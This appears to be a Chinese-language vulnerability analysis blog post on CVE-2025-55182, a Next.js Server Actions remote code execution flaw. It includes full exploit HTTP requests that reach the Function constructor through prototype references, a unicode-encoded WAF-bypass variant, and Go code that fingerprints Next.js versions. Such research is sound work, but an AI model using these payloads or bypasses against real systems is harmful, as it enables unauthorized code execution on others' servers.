React2Shell

First Day

https://github.com/ejpir/CVE-2025-55182-poc

这是第一天给出来的POC,一开始也没说是AI写的,等到后来才在README里面说是AI写的。

在这里给了什么关键函数decodeAction。

跟进分析了半天,触发条件都很奇怪。需要用户主动使用'use server' 暴露危险的函数,那这种写法也太愚蠢了。所以一开始评估这个漏洞危险不高。

Second Day

第二天醒来的时候(醒的有点晚),无条件RCE的payload已经满天飞了。

分析

https://github.com/kavienanj/CVE-2025-55182/blob/main/01-background.md

回到这个漏洞本身吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
POST / HTTP/1.1
Host: 192.168.31.95:3000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Content-Length: 545
Accept: */*
Connection: keep-alive
Content-Type: multipart/form-data; boundary=e0b0955de0b0955de0b0955de0b0955d
Next-Action: \tx
Accept-Encoding: gzip, deflate, br

--e0b0955de0b0955de0b0955de0b0955d
Content-Disposition: form-data; name="0"

{
"then":"$1:__proto__:then",
"status":"resolved_model",
"reason":-1,
"value":"{\"then\": \"$B0\"}",
"_response":{
"_prefix":"throw Object.assign(new Error('NEXT_REDIRECT'),{digest:'NEXT_REDIRECT;push;/login?a=hacked;307;'});",
"_formData":{
"get":"$1:constructor:constructor"
}
}
}
--e0b0955de0b0955de0b0955de0b0955d
Content-Disposition: form-data; name="1"

"$@0"
--e0b0955de0b0955de0b0955de0b0955d--

Prototype Pollution

1
2
3
4
5
6
> ({})['__proto__']['new'] = 123
< 123
> window.new
< 123
> typeof window
< 'object'

但是这里不像这样,这里是没有赋值的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
 1. 传统的原型污染 (The "Polluter")
攻击者输入:{"__proto__": {"isAdmin": true}}

过程:代码执行 target[key] = value。

结果:Object.prototype.isAdmin 变成了 true

影响:之后代码里 user.isAdmin 都会变成 true,哪怕 user 对象本身没有这个属性。

2. 本案中的利用 (The "Hijacker")
攻击者输入:{"get": "$1:constructor:constructor"}

过程:Next.js 解析器在构建对象时,解析引用字符串。

找到 $1 (当前对象)。

读取 $1.constructor (即 Object 构造函数)。

读取 Object.constructor (即 Function 构造函数)。

关键动作:将这个 Function 构造函数 赋值 给当前正在构建的对象的 _formData.get 属性。

结果:obj._formData.get 现在就是 Function 构造器。

影响:它并没有弄脏全局环境,它只是把当前这个对象的 get 方法偷换成了代码执行引擎。
1
2
3
4
5
6
7
8
9
10
11
结构通常如下:

Next-Action ID: 在 Header 中。

Body:

Part 1 (name="1"): 主入口,通常是一个引用 "$@0"

Part 0 (name="0"): 实际参数数据,是一个复杂的 JSON 对象。

$@ 前缀: 在 Server Action 的请求体中,你可能会看到 "$@<ID>"。这通常表示这是一个 Promise 或者是一个根引用。

比如这里 "then":"$1:__proto__:then", 因为 1的内容是"$@0", "$@<ID>"通常是表示一个promise,所有他有then属性。

一些WAF的绕过

  • 主要是一个unicode编码。
  • 引用的位置可以变换
  • 超大数据包
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
POST / HTTP/1.1
Host: 192.168.31.95:3000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Content-Length: 742
Accept: */*
Connection: keep-alive
Content-Type: multipart/form-data; boundary=e0b0955de0b0955de0b0955de0b0955d
Next-Action: \tx
Accept-Encoding: gzip, deflate, br

--e0b0955de0b0955de0b0955de0b0955d
Content-Disposition: form-data; name="0"

{"then": "$2", "status": "resolved_model", "reason": -1, "value": "{\"then\": \"$B0\"}", "_response": {"_prefix": "throw Object.assign(new Error('NEXT_REDIRECT'),{digest:'NEXT_REDIRECT;push;/login?a=hacked;307;'});", "_formData": {"get": "$1:\u0063\u006f\u006e\u0073\u0074\u0072\u0075\u0063\u0074\u006f\u0072\u003a\u0063\u006f\u006e\u0073\u0074\u0072\u0075\u0063\u0074\u006f\u0072"}}}
--e0b0955de0b0955de0b0955de0b0955d
Content-Disposition: form-data; name="1"

"$\u00400"
--e0b0955de0b0955de0b0955de0b0955d
Content-Disposition: form-data; name="2"

"$1:\u005F\u005f\u0070\u0072\u006f\u0074\u006f\u005f\u005f:then"
--e0b0955de0b0955de0b0955de0b0955d--

安全的探测获取版本

先判断是不是next的服务,然后遍历js,匹配对应的版本。

u, err := url.Parse(URL)
if err != nil {
    fmt.Printf("解析 URL 失败: %v\n", err)
    return false
}

// 2. 获取 Pathname
pathname := u.Path
if pathname == "" {
    URL = URL + "/_next"
}

if pathname == "/" {
    URL = URL + "_next"
}

client := &http.Client{
    Timeout: 5 * time.Second,
    // Transport: &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}},
}

req, err := http.NewRequest("GET", URL, nil)
if err != nil {
    fmt.Printf("创建请求失败: %v\n", err)
    return false
}

// 模拟浏览器 UA,防止被某些 WAF 拦截
req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36")

resp, err := client.Do(req)
if err != nil {
    fmt.Printf("请求失败: %v\n", err)
    return false
}
defer resp.Body.Close()

bodyBytes, err := ioutil.ReadAll(resp.Body)
if err != nil {
    return false
}
bodyString := string(bodyBytes)

// 识别逻辑
isNext := false
detectedInfo := []string{}

// 1. 检查 HTTP Header (X-Powered-By)
poweredBy := resp.Header.Get("X-Powered-By")
if strings.Contains(strings.ToLower(poweredBy), "next.js") {
    isNext = true
    detectedInfo = append(detectedInfo, "Header: "+poweredBy)
}

// 2. 检查 HTML 源码中的 __NEXT_DATA__
if strings.Contains(bodyString, "__NEXT_DATA__") || strings.Contains(bodyString, "/_next/static/") {
    isNext = true
    detectedInfo = append(detectedInfo, "Header: "+poweredBy)
}

if isNext {
    // 1. 定义版本匹配的正则
    // 覆盖两种情况:
    // A: window.next={version:"15.4.6", ...}  -> 匹配 version:"..."
    // B: t.version="12.2.5"                   -> 匹配 .version="..."
    reJsVersion := regexp.MustCompile(`window\.next\s*=\s*\{.*?version\s*:\s*"([^"]+)"`)

    // 2. 提取 script src
    reScriptSrc := regexp.MustCompile(`<script[^>]+src=["']([^"']+)["']`)
    scriptMatches := reScriptSrc.FindAllStringSubmatch(bodyString, -1)

    foundVersion := ""

    // 3. 遍历找到的 JS 链接
    for _, match := range scriptMatches {
        src := match[1]

        // 优化:只访问 Next.js 的静态资源文件 (/_next/static/),忽略第三方统计脚本等
        if !strings.Contains(src, "/_next/static/") {
            continue
        }

        // 4. URL 拼接处理 (处理相对路径)
        jsURL := src
        if strings.HasPrefix(src, "/") {
            // 既然 Check 函数里已经 parse 过 URL,这里最好重新 parse 一下 base URL
            u, _ := url.Parse(URL)
            jsURL = fmt.Sprintf("%s://%s%s", u.Scheme, u.Host, src)
        } else if !strings.HasPrefix(src, "http") {
            // 简单的相对路径处理
            u, _ := url.Parse(URL)
            // 去掉 path,只留 host
            jsURL = fmt.Sprintf("%s://%s/%s", u.Scheme, u.Host, src)
        }

        // 5. 请求 JS 文件内容
        // 创建短超时的 Client,避免卡死
        jsClient := &http.Client{Timeout: 5 * time.Second}
        fmt.Println("js url: ", jsURL)
        jsResp, err := jsClient.Get(jsURL)
        if err != nil {
            continue
        }

        jsBodyBytes, err := ioutil.ReadAll(jsResp.Body)
        jsResp.Body.Close()
        if err != nil {
            continue
        }
        jsContent := string(jsBodyBytes)

        // 6. 在 JS 内容中匹配版本
        vMatch := reJsVersion.FindStringSubmatch(jsContent)
        if len(vMatch) > 1 {
            foundVersion = vMatch[1]
            detectedInfo = append(detectedInfo, "Version: "+foundVersion)
            // detectedInfo = append(detectedInfo, "Source: "+src) // 记录是从哪个js发现的
            break // 找到一个版本号就停止,节省时间
        }
    }

    fmt.Println(detectedInfo)

    // 之前保留的 BuildId 逻辑(可选,建议保留作为补充)
    //reBuildId := regexp.MustCompile(`"buildId":"(.*?)"`)
    //matches := reBuildId.FindStringSubmatch(bodyString)
    //if len(matches) > 1 {
    //    detectedInfo = append(detectedInfo, "BuildId: "+matches[1])
    //}

    // 构造返回结果
    result := d.info
    result.Response = strings.Join(detectedInfo, " | ")
    result.Request = URL

    if result.Response == "" {
        result.Response = "Next.js Detected (No explicit version found in JS files)"
    }

2025-12-12更新

出了一个dos漏洞,看了下poc,和我之前调试原理一模一样,flight协议可以使用$、$@互相引用chunk,我用了两个chunk互相引用形成了死循环,poc直接引用自身导致死循环…..就这样擦肩而过….

又重新分析了一下,那些说什么用了vite什么也受影响的都是在瞎扯,搭建环境真的去调试验证才是真道理。

这里面关键入口就是decodeReply。

以后都用rwsdk调试,不知道调试next为什么那么麻烦,rwsdk打印调用栈非常清晰。

除了最后命令执行不了。解释执行的worker就已经限制死了。
Code generation from strings disallowed for this context

真正去调试分析,验证了,才有真的发言权。其他都是扯淡。